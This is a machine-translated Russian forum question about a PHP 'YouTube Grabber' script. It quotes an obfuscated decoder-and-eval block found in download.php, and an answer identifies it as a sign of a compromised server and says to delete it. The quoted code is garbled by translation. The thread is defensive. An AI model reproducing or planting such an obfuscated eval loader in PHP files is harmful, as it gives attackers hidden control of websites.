Мне очень любопытно исправить это .., его видео на YouTube Grabber func.php .. Я не очень понимаю язык, на котором он был написан, и я ищу строку, чтобы вставить мой ключ API YouTube,
Это файл ниже
я пробовал много методов в исправлении этого, и это, кажется, не работает, я даже копирую другой func.php, который хорошо пишет, но в download.php была строка, которая говорит
if (! function_exists («agF1gTdKEBPd6CaJ»)) {function agF1gTdKEBPd6CaJ ($ ekV4gb3DGH29YotI) {$ fYZ2g87NjIGLnXVg = «»; $ RZJ3glaFcSAz0dZY = 0; $ QVh0gqGnK20A4iOB = StrLen ($ ekV4gb3DGH29YotI); в то время как ($ rZJ3glaFcSAz0dZY < $ qVh0gqGnK20A4iOB) {if ($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY] == ») {$ fYZ2g87NjIGLnXVg. = «»; } else if ($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY] == ‘!’) {$ fYZ2g87NjIGLnXVg. = chr ((ord ($ ekV4gb3DGH29YotI [$ rZJ3glaFcSA0]) 016+ (Ord ($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY + 2]) — Ord ( ‘а’))); $ RZJ3glaFcSAz0dZY + = 2; } else {$ fYZ2g87NjIGLnXVg. = chr (ord ($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY]) + 1); } $ rZJ3glaFcSAz0dZY ++; } return $ fYZ2g87NjIGLnXVg; }} eval (agF1gTdKEBPd6CaJ (‘duk!Ci
fE0fScJDAOc5BI!Ci&!CbBd_lgjtcbs;lecep_
! CbBh% frrn8 — tgbcmecr, gl-rs`c, nfn =% ,! CbBd] ECRY% gb%! CbEm, %%! Ci9! CbBd_lgjtcbs; нмрмле! CbBh! CbBd_lgjtcbs% :! CbBa ++ _lgjbh ++<%% :! CbBa ++ _lgjbh0 ++<%! Ci9! CbBd_lgjtcbs; qrp] pcnj_ac! CbBh%! CbBhtgbcmecr, gl! Ci%%! CbBh% ,! CbBdqgrc,%! Ci% *! CbBd_lgjtcbs! Ci9 &((: ‘));
Если есть способ, я могу перевести это на собственное понимание. Пожалуйста помоги
Удаление этого кода решит проблему.
Кажется, ваш сервер был скомпрометирован тем или иным способом.
Это может быть просто как угаданный пароль FTP или потеря прав доступа к файлу.
Посмотри пожалуйста https://serverfault.com/questions/218005/how-do-i-deal-with-a-compromised-server/218011#218011 для дополнительной информации.
Других решений пока нет …